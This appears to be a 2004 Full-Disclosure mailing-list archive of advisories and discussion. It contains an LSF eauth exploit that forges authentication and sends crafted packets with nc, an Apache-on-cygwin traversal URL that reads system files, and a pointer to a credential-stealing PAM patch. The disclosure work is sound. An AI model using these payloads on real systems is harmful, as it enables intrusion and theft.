Re: [Full-Disclosure] Proofpoint Protection Server remote MySQL r oot user vulnerability
Tony Kava wrote: Are you sure this is the default behaviour of a Red Hat installation? Your advisory does not indicate any specific version(s) of Red Hat Linux. Is this supposed to apply to RHL 7.2? 7.3? 8.0? 9.0? Fedora 1? In my previous experience with the 'mysql-server' package on any Red Hat the root user is granted full access without a password, but that is limited only to connections from the localhost. I've verified that the most up-to-date 'mysql-server' package for Red Hat Enterprise Linux 3 still falls in the 3.x version, not 4.x. The package name is mysql-server-3.23.58-1. Additionally with this package from Red Hat the root user without a password is limited to the localhost only. Of course it sometimes helps to read the text of the advisory carefully. Then you will be able to find out that it deals with an *embedded* mysql server that comes with Proofpoint Protection Server, not the mysql-server package that comes with you name it release of RH/Fedora. This is why one should be always careful when evaluating products that have embedded components: one cannot assume that the emebdded components are up-to-date security-wise. Regards: Sz. ___ Full-Disclosure - We believe in it. Charter: http://lists.netsys.com/full-disclosure-charter.html
RE: [Full-Disclosure] exploit-dcomrpc.gen
hmmm.. why? and dont trot out all the usual stuff becasue thats why I just post like I want to post R -Original Message- From: Tomasz Konefal [mailto:[EMAIL PROTECTED] Sent: 20 February 2004 17:15 To: Ferris, Robin Subject: Re: [Full-Disclosure] exploit-dcomrpc.gen Ferris, Robin wrote: further to last info, does any one have any packet information about this? best info would be used to cretae a packets filter using etherpeak so we can find source of infection. please don't post to the list in HTML. thanks, twkonefal -- Tomasz Konefal Systems Administrator Command Post and Transfer Corp. 416-585-9995 x.349 ___ Full-Disclosure - We believe in it. Charter: http://lists.netsys.com/full-disclosure-charter.html
[Full-Disclosure] Pam-SayPass by Buggzy
Hi again! Patch for pam_unix which sends credentials of authentication attempts (su, login, ssh, x-windows) encoded into DNS query to the specified host. http://www.securitylab.ru/tools/42989.html ___ Full-Disclosure - We believe in it. Charter: http://lists.netsys.com/full-disclosure-charter.html
Re: [Full-Disclosure] Double copies
WB I am getting double copies of every posting. Is anyone else experiencing WB the same issue. I seem to be getting double copies of every other posting. ___ Full-Disclosure - We believe in it. Charter: http://lists.netsys.com/full-disclosure-charter.html
[Full-Disclosure] Lam3rZ Security Advisory #2/2004: LSF eauth vulnerability leads to a possibility of controlling cluster jobs on behalf of other users
Lam3rZ Security Advisory #2/2004 23 Feb 2004 Remote (within a cluster) root in LSF Name: Load Sharing Facility versions 4.x, 5.x, 6.x Severity: High Vendor URL: http://www.platform.com Author: Tomasz Grabowski ([EMAIL PROTECTED]) Vendor notified: 29 Oct 2003 Vendor confirmed: 30 Oct 2003 Vendor advisory: 9 Feb 2004 Note: - This vulnerability differs from the one described in Lam3rZ Security Advisory #1/2004. Impact: --- eauth is the component within LSF which controls authenication. It can be exploited to send commands to LSF on behalf of a different user. In this way a user could submit and control jobs on behalf of other users. This security risk is contained to local cluster. This means that it can be exploited remotely (from one host to another) but only between hosts within the LSF cluster. Description: eauth has a very dangerous undocumented feature. Namely, during its execution, it is checking for LSF_EAUTH_UID environment variable. If it finds it, it is using it instead of the real UID of the user which invoked eauth binary. This way attacker is able to generate authentication string of any user in the system. It can be used to control processes on behalf of other users in the cluster. Moreover, as such authentication string is used for some administrative commands, attacker is able to control the cluster itself. In order to steal other user's process attacker needs to know authentication data for that user. In most cases she will need just lsfadmin authentication data, because this user can control other user's processes, but let's say she wants to steal process from user cadence. $cat /etc/passwd|grep cadence cadence:x:500:500:Tomasz Grabowski:/home/cadence:/bin/bash $ export LSF_EAUTH_UID=500 $ eauth -c hostname ,',0/%+-$%$,/) Now, she needs to send packets. She can do it, for the sake of simplicity, using Perl and NetCat software: ( # first packet perl -e 'print \x04\x00\x00\x00\x0d\x00\x00\x00\x00\x00\x00\x00; print \x00\x00\x00\x00; ' sleep 1; #let's call it a header, packet length perl -e 'print \x00\x04\x00\x00\x0d\x00\x00\x00\x00\x00\x00\x40; #below we provide UID, GID and length of user name print \x00\x00\x00\x00\x00\x00\x03\xee\x00\x00\x03\xee\x00\x00\x00\x07; #below is the user name, end indicator, and probably auth data field length print \x63\x61\x64\x65\x6e\x63\x65\x00\x00\x00\x00\x03\x00\x00\x00\x10; #again authentication length and auth data itself print \x00\x00\x00\x10\x2a\x30\x26\x24\x21\x25\x2e\x23\x2c\x23\x27\x2d; #rest of auth data, end indicator, question code (x09 - bkill) and process number print \x2f\x28\x2b\x25\x00\x00\x00\x02\x00\x00\x00\x09\x00\x00\x00\x77; print \x00\x00\x00\x00; ' #send it to the target daemon ) | nc 192.168.10.106 6881 After sending these two packets, she will kill process number 119 belonging to user cadence. How to patch: - This problem has been directly addressed in a security patch released for LSF. The fix is contained to the eauth binary which will need to be replaced for each platform used in the cluster. The patch can be downloaded from Platform FTP site. FTP: ftp.platform.com Path: patches/version/os/os/eauth* Example: patches/5.1/os/sparc-sol7-64/eauth5.1_sparc-sol7-64.Z If the OS or version is not currently available, it can be built on demand. Please contact Platform Technical Support if you have any questions or concerns. Phone: 1-877-444-4573 Email: [EMAIL PROTECTED] References: --- This bug was confirmed in Platform's official security advisory dated 9 Feb 2004. It is accessible directly from Platform as Knowledge Base Article KB1-5T4XV. -- Tomasz Grabowski Technical University of Szczecin, +48 (91)4494234 Academic Centre of Computer Science www.man.szczecin.pl ___ Full-Disclosure - We believe in it. Charter: http://lists.netsys.com/full-disclosure-charter.html
Re: [Full-Disclosure] Double copies
I dunno... ...*something* seems odd, but I can't quite put my finger on it. On Mon, Feb 23, 2004 at 12:22:32PM +0100, [EMAIL PROTECTED] wrote: From: [EMAIL PROTECTED] To: [EMAIL PROTECTED] Subject: Re: [Full-Disclosure] Double copies Date: Mon, 23 Feb 2004 12:22:32 +0100 WWBB II aamm ggeeiinngg ddoouubbllee ccooppiieess ooff eevveerryy ppoossttiinngg.. IIss aannyyoonnee eellssee eexxppeerriieenncciinngg WWBB tthhee ssaammee iiuuee.. II ssmm ttoo bbee ggeeiinngg ddoouubbllee ccooppiieess ooff eevveerryy ootthheerr ppoossttiinngg.. __ FFuu--DDiisscclloossuurree -- WWee bbeelliieevvee iinn iitt.. CChhaarrtteerr:: hhpp::lliissttss..nneettssyyss..ccoomm//ffuu--ddiisscclloossuurree--cchhaarrtteerr..hhttmmll - John -- Mad cow? You'd be mad too, if someone was trying to eat you. ___ Full-Disclosure - We believe in it. Charter: http://lists.netsys.com/full-disclosure-charter.html
Re: [Full-Disclosure] Windows 2000 Source Code
Hello Na7aS, * Na7aS [EMAIL PROTECTED] [2004-02-22 17:07]: http://tonioj.multimania.com/win2000src.htm Here is the WHOLE windows 2000 source code, with tree, comments and everything you will need to find some exploits. Updated daily with all the new exploits found. the zip file is hosted on a free lycos account. they support a webspace of 50mb. the sourcecode has got at least over 400 mb. so it is a fuckin fake. regards nico -- Nico Golde nico at ngolde dot de public key available on: http://www.ngolde.de/gpg.html echo [q]sa[ln0=aln256%Pln256/snlbx]sb729901041524823122snlbxq|dc pgp0.pgp Description: PGP signature
[Full-Disclosure] SUSE Security Announcement: xf86/XFree86 (SuSE-SA:2004:006)
-BEGIN PGP SIGNED MESSAGE- __ SUSE Security Announcement Package:xf86/XFree86 Announcement-ID:SuSE-SA:2004:006 Date: Monday, Feb. 23th 2004 16:30 MET Affected products: 8.0, 8.1, 8.2, 9.0 SuSE Linux Database Server, SuSE eMail Server III, 3.1 SuSE Linux Enterprise Server 7, 8 SuSE Linux Firewall on CD/Admin host SuSE Linux Connectivity Server SuSE Linux Office Server Vulnerability Type: local privilege escalation Severity (1-10):5 SUSE default package: yes Cross References: CAN-2004-0083 CAN-2004-0084 CAN-2004-0106 Content of this advisory: 1) security vulnerability resolved: - several local buffer overflows in fontfile code problem description, discussion, solution and upgrade information 2) pending vulnerabilities, solutions, workarounds: - mutt - mod_python - mailman - metamail - libxml2 - lbreakout - pwlib 3) standard appendix (further information) __ 1) problem description, brief discussion, solution, upgrade information XFree86 is an open-source X Window System implementation that acts as a client-server-based API between different hardware components like display, mouse, keyboard and so on. Several buffer overflows were found in the fontfile code that handles a user-supplied fonts.alias file. The file is processed with root privileges and therefore a successful exploitation of these bugs leads to local root access. There is no known workaround. Please download the update package for your distribution and verify its integrity by the methods listed in section 3) of this announcement. Then, to apply the update use the command rpm -Fhv file.rpm. Our maintenance customers are being notified individually. The packages are being offered to install from the maintenance web. Intel i386 Platform: SuSE-9.0: ftp://ftp.suse.com/pub/suse/i386/update/9.0/rpm/i586/XFree86-4.3.0.1-46.i586.rpm dcaadc2b9438995c9a3ac6e4fc7bf181 patch rpm(s): ftp://ftp.suse.com/pub/suse/i386/update/9.0/rpm/i586/XFree86-4.3.0.1-46.i586.patch.rpm f094861c9a0fbb5f27d168b680fe1a5b source rpm(s): ftp://ftp.suse.com/pub/suse/i386/update/9.0/rpm/src/XFree86-4.3.0.1-46.src.rpm 824c6173693342a033f75c503592e7e0 SuSE-8.2: ftp://ftp.suse.com/pub/suse/i386/update/8.2/rpm/i586/XFree86-4.3.0-120.i586.rpm f1f01280e6e8a5a2f091a04c5836a51d patch rpm(s): ftp://ftp.suse.com/pub/suse/i386/update/8.2/rpm/i586/XFree86-4.3.0-120.i586.patch.rpm 16ba90ef0ad607d1547cda7734b28750 source rpm(s): ftp://ftp.suse.com/pub/suse/i386/update/8.2/rpm/src/XFree86-4.3.0-120.src.rpm 4100735436d4c8801c6add673fceb29e SuSE-8.1: ftp://ftp.suse.com/pub/suse/i386/update/8.1/rpm/i586/xf86-4.2.0-257.i586.rpm 9ed1fc5ec83a42a85315391387610e6b patch rpm(s): ftp://ftp.suse.com/pub/suse/i386/update/8.1/rpm/i586/xf86-4.2.0-257.i586.patch.rpm 9652732385f8670ea9d36151378b7428 source rpm(s): ftp://ftp.suse.com/pub/suse/i386/update/8.1/rpm/src/xf86-4.2.0-257.src.rpm e1d73191d2aabe3a6dda677e6fd716bc SuSE-8.0: ftp://ftp.suse.com/pub/suse/i386/update/8.0/x1/xf86-4.2.0-257.i386.rpm 9b69aac017a0ac9905e3fc4e9594d435 patch rpm(s): ftp://ftp.suse.com/pub/suse/i386/update/8.0/x1/xf86-4.2.0-257.i386.patch.rpm 3076136bcdf20132f343768e4a71c7a2 source rpm(s): ftp://ftp.suse.com/pub/suse/i386/update/8.0/zq1/xf86-4.2.0-257.src.rpm 1775eef155f4afdc9a3a08ff31a38607 Opteron x86_64 Platform: SuSE-9.0: ftp://ftp.suse.com/pub/suse/x86_64/update/9.0/rpm/x86_64/XFree86-4.3.0.1-52.x86_64.rpm 1714cb2eb566fab0e29277db9f9d2572 patch rpm(s): ftp://ftp.suse.com/pub/suse/x86_64/update/9.0/rpm/x86_64/XFree86-4.3.0.1-52.x86_64.patch.rpm 930944efc868b28d87a69a9543206546 source rpm(s): ftp://ftp.suse.com/pub/suse/x86_64/update/9.0/rpm/src/XFree86-4.3.0.1-52.src.rpm ee67773fcad341912b617d397991ed32 __ 2) Pending vulnerabilities in SUSE Distributions and Workarounds: - mutt The popular email client mutt is vulnerable to a remote denial-of-service attack and maybe remote command execution. The bug can be triggered by malformed messages that
Re: [Full-Disclosure] windows 2000 source...
Hallo dick, * dick butkiss [EMAIL PROTECTED] [2004-02-23 16:13]: Here is the WHOLE windows 2000 source code, with tree, comments and everything you will need to find some exploits. all i get is a javascript popup taht says it was deleted by microsoft, i dont have the source yet, can you point me to where i can dl it? search the fd archive. regards nico -- Nico Golde nico at ngolde dot de public key available on: http://www.ngolde.de/gpg.html echo [q]sa[ln0=aln256%Pln256/snlbx]sb729901041524823122snlbxq|dc pgp0.pgp Description: PGP signature
Re: [Full-Disclosure] Re- Full-Disclosure] Windows 2000 Source Code
Hallo Ihsan, * Ihsan Ur Rehman [EMAIL PROTECTED] [2004-02-23 16:13]: The link is down and down and down. And there is a simple alert removed by Microsoft. Now all I have to is to do nothing :) can anybody help me out??? the link never was up. -- Nico Golde nico at ngolde dot de public key available on: http://www.ngolde.de/gpg.html echo [q]sa[ln0=aln256%Pln256/snlbx]sb729901041524823122snlbxq|dc pgp0.pgp Description: PGP signature
Re: [Full-Disclosure] Double copies
I dunno... ...*something* seems odd, but I can't quite put my finger on it. On Mon, Feb 23, 2004 at 12:22:32PM +0100, [EMAIL PROTECTED] wrote: From: [EMAIL PROTECTED] To: [EMAIL PROTECTED] Subject: Re: [Full-Disclosure] Double copies Date: Mon, 23 Feb 2004 12:22:32 +0100 WWBB II aamm ggeeiinngg ddoouubbllee ccooppiieess ooff eevveerryy ppoossttiinngg.. IIss aannyyoonnee eellssee eexxppeerriieenncciinngg WWBB tthhee ssaammee iiuuee.. II ssmm ttoo bbee ggeeiinngg ddoouubbllee ccooppiieess ooff eevveerryy ootthheerr ppoossttiinngg.. __ FFuu--DDiisscclloossuurree -- WWee bbeelliieevvee iinn iitt.. CChhaarrtteerr:: hhpp::lliissttss..nneettssyyss..ccoomm//ffuu--ddiisscclloossuurree--cchhaarrtteerr..hhttmmll LOCAL ECHO == OFF ;-) smime.p7s Description: S/MIME cryptographic signature
RE: [Full-Disclosure] Double copies
WB I am getting double copies of every posting. Is anyone else WB experiencing the same issue. You're using Outlook. I assume you probably have a filter rule set up for the list. Check to make sure you don't have it set to continue filtering after the rule is applied -- this could cause one copy to show up in your Inbox and one in the appropriate folder, or even multiple copies in the same folder if it matches multiple rules. ___ Full-Disclosure - We believe in it. Charter: http://lists.netsys.com/full-disclosure-charter.html
[Full-Disclosure] Coming soon: CPU fix for buffer overflows
http://www.newscientist.com/news/news.jsp?id=ns4696 Chips to ease Microsoft's big security nightmare 10:00 22 February 04 Chip makers are planning a new generation of microprocessors that should plug the gaps that led Microsoft to issue a critical security alert last week. The alert was sparked by the discovery that a raft of Microsoft programs were vulnerable to a problem called buffer overflow, which hackers can exploit to extract private information from a PC. And the risk of such attacks only worsened when, two days after the alert was issued, critical Windows source code was leaked on to the internet letting hackers see how it works. A buffer is a section of computer memory that can store a set amount of data. Sometimes, usually because of a software bug, the processor sends more data to the buffer than it can hold, causing it to overflow into the next chunk of buffer memory. This makes computers vulnerable to hackers, because by deliberately making a buffer overflow they can force the computer to execute their malicious code. The problem is hard to detect, as popular programming languages, like C and C++ do not make it easy to track when programs are vulnerable to overflow. But now chip makers Advanced Micro Devices (AMD) and Intel are developing processor chips that will deal with the problem. AMD's Athlon-64 (for PCs) and Opteron (for servers) will protect against buffer overflows when used with a new version of Windows XP. Intel plans similar features on next generation Pentium chips. ... ___ Full-Disclosure - We believe in it. Charter: http://lists.netsys.com/full-disclosure-charter.html
Re: [Full-Disclosure] Coming soon: CPU fix for buffer overflows
first of all, despite of what that news website says, that is old news. second, it's just a page execution bit implementation like other archs have, it doesnt mean that buffer overflows can will be avoided, it just means non-exec stack can be subject of a page-wise implementation (not that it hasnt been done on IA-32, has the PAX hack shows, though with HUGE performance kill). third, return-into-libc and heap overflows still exist. forth, win2k source code leak had nothing to do with buffer overflows in m$ software. fifth, critical windows source code wasnt leaked, have u seen the tarball? it only has IE/MSHTML crap and pointless API code, other leaks have proven much more interesting. fifth, thank you for that buffer definition, surely most of this list's subscribers didnt know what a buffer was. sixth, I love your contributions to this list, they're always so funny that I just had to say something this time. regards, hybriz -- ___ Full-Disclosure - We believe in it. Charter: http://lists.netsys.com/full-disclosure-charter.html
Re: [Full-Disclosure] Coming soon: CPU fix for buffer overflows
Hi. Richard M. Smith [EMAIL PROTECTED] wrote: AMD's Athlon-64 (for PCs) and Opteron (for servers) will protect against buffer overflows when used with a new version of Windows XP. Intel plans similar features on next generation Pentium chips. If I'm not mistaken, this is just about AMD (and Intel) introducing a real no execute flag to memory page properties, like Sparc (and others) already have. Certainly not a bad move, but buffer overflows exist on Sparc, too, don't they? -- Smile, and everyone will wonder what you're up to. pgp0.pgp Description: PGP signature
Re: [Full-Disclosure] question on SEH
Gregory A. Gilliss Sent: Monday, February 23, 2004 2:22 PM You gotta love a paper that uses the word shit in the first paragraph :-) G On or about 2004.02.23 11:18:51 +, Thomas ([EMAIL PROTECTED]) said: http://www.thc.org/papers/Practical-SEH-exploitation.pdf -- Not to mention the nice graphic of the well endowed teddy bear. I wonder what *else* THC stands for here... ___ Full-Disclosure - We believe in it. Charter: http://lists.netsys.com/full-disclosure-charter.html
RE: [Full-Disclosure] RE: Re: YES IT IS , is predicatable file location a vuln? (was RE: Aol Instant Messenger/Microsoft Internet Explorer remote code execution)
From: [EMAIL PROTECTED] Sent: Fri 2/20/2004 9:39 PM To: [EMAIL PROTECTED] Cc: [EMAIL PROTECTED] Subject: [Full-Disclosure] RE: Re: is predicatable file location a vuln? (was RE: Aol Instant Messenger/Microsoft Internet Explorer remote code execution) Why don't you release your exploits on packetstormsecurity or astalavistainstead of Bugtraq? You obviously have no interest in trying to secureanyone, instead you are deliberately hurting the security of us all.I totally disagree. Did you know microsoft sometimes refuses to accept vulnerabilities and dismiss them as not a vulnerability itself but in actualityonly need to be combined with other not a vulnerability itself exploits and donot understand this. I would actually THANK bugtraq and Full Disclosure that posts from Http equiv and others actually seem to get a quick patch rate now by Microsoft then in the past. Experts seem to be always repeating them selves how this is a year old vulnerability and no response fromMicrosoft. It seems not unless they are SHOWN in proof on concepts arefixes put in the works.How are you any different than a virus writer? They are creating malwareand releasing it on their sites, then they claim innocence because theydidn't click the "Send" button. Both of you are intentionally tryingto help blackhats, script kiddies and criminals.Did you ever think the wrong someone will think of these things sooner or later? Researches, if you notice, get anti virus people on top of their game for free. They already have definitions for this example and others thanks fully to the "security researcher"MikeP.S. AIM or Buddy Icons no longer required. IE is just a big hole.
[Full-Disclosure] UPDATE: PSK Cracking using IKE Aggressive Mode
Hi, we just release a Vulnerability scanner for the PSK Attack we've described in april in our paper 'PSK Cracking using IKE Aggressive Mode'. The scanner is freely available from our website: www.ernw.de/download/ikeprobe.zip The paper itself is available from our website too. Take a look at www.ernw.de/download/pskattack.pdf Today we have some advancements in the cracking tools too. Mao integrated the PSK cracking function in his tool Cain Abel (www.oxid.it). Cain Abel can crack MD5 and SHA1 based preshared keys while ikecrack can only crack MD5 based preshared keys. Cheers Michael Michael Thumann[EMAIL PROTECTED] www.ids-guide.de Public Key available at http://www.ids-guide.de/MichaelThumann.asc PGP Fingerprint: 8633 D9E3 E90E F18E A70A 6321 A8CF 6A87 EC79 7B59 The only secure computer is one that's unplugged, locked in a safe, and buried 20 feet under the ground in a secret location...and i'm not even too sure about that one --Dennis Huges, FBI. -- This message has been 'sanitized'. This means that potentially dangerous content has been rewritten or removed. The following log describes which actions were taken. Sanitizer (start=1068246221): Split unusually long Date: header. SanitizeFile (filename=unnamed.txt, mimetype=text/plain): Match (names=unnamed.txt, rule=9): Enforced policy: accept Total modifications so far: 1 Anomy 0.0.0 : Sanitizer.pm Sanitizer version 1.63 (Debian GNU/Linux) ___ Full-Disclosure - We believe in it. Charter: http://lists.netsys.com/full-disclosure-charter.html
[Full-Disclosure] International Convention on Cybercrime
This is not meant to be political by any means. It just seems there are many people concerned about this treaty and how it may affect the IT security industry. I'm just curious to see if other security professionals feel it could be a *realistic* threat. http://techbroker.com/news/ http://www.eff.org/effector/current.html http://www.internetpolicy.net/cybercrime/ http://www.cdt.org/international/cybercrime/ http://www.crime-research.org/eng/library/CoE_Cybercrime.html http://www.cyber-rights.org/cybercrime/ http://www.crime-research.org/eng/library/CoE_Cybercrime.html ___ Full-Disclosure - We believe in it. Charter: http://lists.netsys.com/full-disclosure-charter.html
Re: [Full-Disclosure] Coming soon: CPU fix for buffer overflows
leading to cruddier and more bloated code and yet more security problems..won't it be interesting if these hardware technologies have overflows of their own..:) Richard M. Smith wrote: http://www.newscientist.com/news/news.jsp?id=ns4696 Chips to ease Microsoft's big security nightmare 10:00 22 February 04 Chip makers are planning a new generation of microprocessors that should plug the gaps that led Microsoft to issue a critical security alert last week. The alert was sparked by the discovery that a raft of Microsoft programs were vulnerable to a problem called buffer overflow, which hackers can exploit to extract private information from a PC. And the risk of such attacks only worsened when, two days after the alert was issued, critical Windows source code was leaked on to the internet letting hackers see how it works. A buffer is a section of computer memory that can store a set amount of data. Sometimes, usually because of a software bug, the processor sends more data to the buffer than it can hold, causing it to overflow into the next chunk of buffer memory. This makes computers vulnerable to hackers, because by deliberately making a buffer overflow they can force the computer to execute their malicious code. The problem is hard to detect, as popular programming languages, like C and C++ do not make it easy to track when programs are vulnerable to overflow. But now chip makers Advanced Micro Devices (AMD) and Intel are developing processor chips that will deal with the problem. AMD's Athlon-64 (for PCs) and Opteron (for servers) will protect against buffer overflows when used with a new version of Windows XP. Intel plans similar features on next generation Pentium chips. ... ___ Full-Disclosure - We believe in it. Charter: http://lists.netsys.com/full-disclosure-charter.html -- May God Bless you and everything you touch. My foundation verse: Isaiah 54:17 No weapon that is formed against thee shall prosper; and every tongue that shall rise against thee in judgment thou shalt condemn. This is the heritage of the servants of the LORD, and their righteousness is of me, saith the LORD. ___ Full-Disclosure - We believe in it. Charter: http://lists.netsys.com/full-disclosure-charter.html
[Full-Disclosure] International Convention on Cybercrime
This is not meant to be political by any means. It just seems there are many people concerned about this treaty and how it may affect the IT security industry. I'm just curious to see if other security professionals feel it could be a *realistic* threat. http://techbroker.com/news/ http://www.eff.org/effector/current.htmlhttp://www.internetpolicy.net/cybercrime/http://www.cdt.org/international/cybercrime/http://www.crime-research.org/eng/library/CoE_Cybercrime.htmlhttp://www.cyber-rights.org/cybercrime/http://www.crime-research.org/eng/library/CoE_Cybercrime.html
RE: [Full-Disclosure] Coming soon: CPU fix for buffer overflows
Subject: RE: [Full-Disclosure] Coming soon: CPU fix for buffer overflows From: Richard M. Smith [EMAIL PROTECTED] Date: Mon, 23 Feb 2004 15:39:10 -0500 To: [EMAIL PROTECTED] Let's get to the bottom line. Would this page execution bit scheme stop stuff like the Blaster worm? Richard IMHO, if the page-wise non-exec stack was implemented in win2k= during the blaster period the blaster worm as we know it obviously would not exist. thing is, the timeline substitute would use diferent exploiting techniq to have the same effect. non-exec stack doesnt stop ALL buffer overflow attacks/techniqs, win2k+3 has a stack protection and it has been proven to be bypassable. The blaster worm wouldnt exist as we know it, an analogous substitute would. the execution bit exists on other archs but it doesnt mean that exploitation of stack based overflows isnt possible, it's just slightly (IMHO) more difficult and there are less possible attack vectors (for example, the ret-into-libc techniq will fail if the binary is stacticly linked). btw, in my country brought better 'security' to overall networks and home users since many started using pseudo-well configured by default firewalls and in a way that wouldnt happen if the stupid worm didnt have broken shellcode and 'non-universal' offsets. regards, hybriz -- ___ Full-Disclosure - We believe in it. Charter: http://lists.netsys.com/full-disclosure-charter.html
[Full-Disclosure] Re: [SECURITY] [DSA 447-1] New hsftp packages fix format string vulnerability
If you use hsftp on some other system than Debian, you'll be interested in the fact that this has been corrected in upstream's recently released version 1.14. Another way to correct this is to apply my attached patch (diff'ed against version 1.13). -- Ulf Härnhammar student, Uppsala universitet redaktör, idiosynkratisk ( http://labben.abm.uu.se/~ulha9485/idiosynkratisk/ ) hsftp.patch Description: Binary data
Re: [Full-Disclosure] Windows 2000 Source Code
On Sun, 22 Feb 2004 11:03:01 EST, Poof [EMAIL PROTECTED] said: Yeah- and makes users 'vote' for his ranking at I think his classes website. (img src to http://misslhc.apinc.org/index.php?onglet=misterlhcinclude=../php/profils/s howProfiltitre_sub=Profil%20de%20Danieltype=misterlhcnum=473 (Spaced so it doesn't get voted to by mistake)addvote=1 and http://misslhc.apinc.org/index.php?onglet=misterlhcinclude=../php/profils/s howProfiltitre_sub=Profil%20de%20Laurenttype=misterlhcnum=517) Idiot . No, clever social engineering. Now as for the people who have been posting All I got was a 'removed by Microsoft' popup... Don't people bother using tools like wget or lynx to look at what's coming before they point their browsers at sites that are untrusted *and* highly likely to contain malware? :) pgp0.pgp Description: PGP signature
RE: [Full-Disclosure] Coming soon: CPU fix for buffer overflows
On Mon, 23 Feb 2004, hybriz wrote: Subject: RE: [Full-Disclosure] Coming soon: CPU fix for buffer overflows From: Richard M. Smith [EMAIL PROTECTED] Date: Mon, 23 Feb 2004 15:39:10 -0500 To: [EMAIL PROTECTED] Let's get to the bottom line. Would this page execution bit scheme stop stuff like the Blaster worm? Richard IMHO, if the page-wise non-exec stack was implemented in win2k= during the blaster period the blaster worm as we know it obviously would not exist. thing is, the timeline substitute would use diferent exploiting techniq to have the same effect. non-exec stack doesnt stop ALL buffer overflow attacks/techniqs, win2k+3 has a stack protection and it has been proven to be bypassable. The blaster worm wouldnt exist as we know it, an analogous substitute would. the execution bit exists on other archs but it doesnt mean that exploitation of stack based overflows isnt possible, it's just slightly (IMHO) more difficult and there are less possible attack vectors (for example, the ret-into-libc techniq will fail if the binary is stacticly linked). btw, in my country brought better 'security' to overall networks and home users since many started using pseudo-well configured by default firewalls and in a way that wouldnt happen if the stupid worm didnt have broken shellcode and 'non-universal' offsets. regards, hybriz If a system built with a particulare new CPU cannot be made to perfectly emulate any other 'general purpose computer' that is equivalent to a Turing machine, then the new system (with the new CPU) is no longer a general purpose computer. There is also the mathematical theorem by Kurt Godel (anglicized spelling, apologies in advance) that implies that no amount of adding axioms to a sufficiently general and consistent system of Logic makes the unproveablility of all false theorems possible. So, the easiest way to reconcile the apparent fallacy is to deduce that adding an 'execute' flag will only make the next generation of buffer overflows a little more difficult. (Note to the non-mathematically inclined: Yes, it might seem difficult to believe, but a 4004 processor combined with unlimited (countable) storage, can emulate the fastest super computer, just not in 'real time'). ___ Full-Disclosure - We believe in it. Charter: http://lists.netsys.com/full-disclosure-charter.html
[Full-Disclosure] STG Security Advisory: [SSA-20040217-06] Apache for cygwin directory traversal vulnerability
-BEGIN PGP SIGNED MESSAGE- Hash: SHA1 STG Security Advisory: [SSA-20040217-06] Apache for cygwin directory traversal vulnerability Revision 1.0 Date Published: 2004-02-17 (KST) Last Update: 2004-02-17 Disclosed by SSR Team ([EMAIL PROTECTED]) Abstract Apache on cygwin environment has a directory traversal vulnerability. Vulnerability Class === Implementation Error: Input validation flaw Details === Apache httpd on cygwin environment has a directory traversal vulnerability similar to a reported bug in http://cert.uni-stuttgart.de/archive/bugtraq/2002/08/msg00241.html Using the following code, a malicious user can retrieve any file. http://[server]/..%5C..%5C..%5C..%5C..%5C..%5C/boot.ini Impact == File disclosure Solution = Stipe Tolj, Apache for cygwin maintainer, released a patch file to fix this vulnerability on Apache 1.3.29 as shown in the following URL. http://nagoya.apache.org/bugzilla/show_bug.cgi?id=26152 Apache 2 on the cygwin, however, is still vulnerable and is recommended not to use it for a production server. Affected Products Apache 1.3.29 and below Apache 2.0.48 and below Vendor Status: FIXED === 2004-01-13 Jeremy Bae found the vulnerabilities. 2004-01-15 Apache project notified. 2004-02-03 Cygwin platform maintainer confirmed. 2004-02-04 A patch file released. 2004-02-17 Official release. Credits == Jeremy Bae at STG Security -BEGIN PGP SIGNATURE- Version: PGP 8.0 iQA/AwUBQDql3z9dVHd/hpsuEQJ5uQCfUtOfSY0qIjzRF9LUim1xB3XAFcwAn0lI I23p9Inl69oUYZDs3ixFH7dU =dLyl -END PGP SIGNATURE- STG Security Advisory: [SSA-20040217-06] Apache for cygwin directory traversal vulnerability Revision 1.0 Date Published: 2004-02-17 (KST) Last Update: 2004-02-17 Disclosed by SSR Team ([EMAIL PROTECTED]) Abstract Apache on cygwin environment has a directory traversal vulnerability. Vulnerability Class === Implementation Error: Input validation flaw Details === Apache httpd on cygwin environment has a directory traversal vulnerability similar to a reported bug in http://cert.uni-stuttgart.de/archive/bugtraq/2002/08/msg00241.html Using the following code, a malicious user can retrieve any file. http://[server]/..%5C..%5C..%5C..%5C..%5C..%5C/boot.ini Impact == File disclosure Solution = Stipe Tolj, Apache for cygwin maintainer, released a patch file to fix this vulnerability on Apache 1.3.29 as shown in the following URL. http://nagoya.apache.org/bugzilla/show_bug.cgi?id=26152 Apache 2 on the cygwin, however, is still vulnerable and is recommended not to use it for a production server. Affected Products Apache 1.3.29 and below Apache 2.0.48 and below Vendor Status: FIXED === 2004-01-13 Jeremy Bae found the vulnerabilities. 2004-01-15 Apache project notified. 2004-02-03 Cygwin platform maintainer confirmed. 2004-02-04 A patch file released. 2004-02-17 Official release. Credits == Jeremy Bae at STG Security
[Full-Disclosure] Exploiting the Wilderness
-BEGIN PGP SIGNED MESSAGE-
Hash: SHA1
-
Exploiting The Wilderness
by Phantasmal Phantasmagoria
[EMAIL PROTECTED]
- Table of Contents -
1 - Introduction
1.1 Prelude
1.2 The wilderness
2 - Exploiting the wilderness
2.1 Exploiting the wilderness with malloc()
2.2 Exploiting the wilderness with an off-by-one
3 - The wilderness and free()
4 - A word on glibc 2.3
5 - Final thoughts
-
- Introduction --
- Prelude
This paper outlines a method of exploiting heap overflows on dlmalloc
based glibc 2.2 systems. In situations where an overflowable buffer is
contiguous to the wilderness it is possible to acheive the aa4bmo primitive
[1].
This article is written with an x86/Linux target in mind. It is assumed
the reader is familiar with the dlmalloc chunk format and the traditional
methods of exploiting dlmalloc based overflows [2][3]. It may be desired
to obtain a copy of the complete dlmalloc source code from glibc itself,
as excerpts are simplified and may lose a degree of context.
- The wilderness
The wilderness is the top-most chunk in allocated memory. It is similar
to any normal malloc chunk - it has a chunk header followed by a variably
long data section. The important difference lies in the fact that the
wilderness, also called the top chunk, borders the end of available memory
and is the only chunk that can be extended or shortened. This means it
must be treated specially to ensure it always exists; it must be preserved.
The wilderness is only used when a call to malloc() requests memory of
a size that no other freed chunks can facilitate. If the wilderness is
sufficiently large enough to handle the request it is split in to two,
one part being returned for the call to malloc(), and the other becoming
the new wilderness. In the event that the wilderness is not large enough
to handle the request, it is extended with sbrk() and split as described
above. This behaviour means that the wilderness will always exist, and
furthermore, its data section will never be used. This is called wilderness
preservation and as such, the wilderness is treated as the last resort
in allocating a chunk of memory [4].
Consider the following example:
/* START wilderness.c */
#include stdio.h
int main(int argc, char *argv[]) {
char *first, *second;
first = (char *) malloc(1020); /* [A] */
strcpy(first, argv[1]); /* [B] */
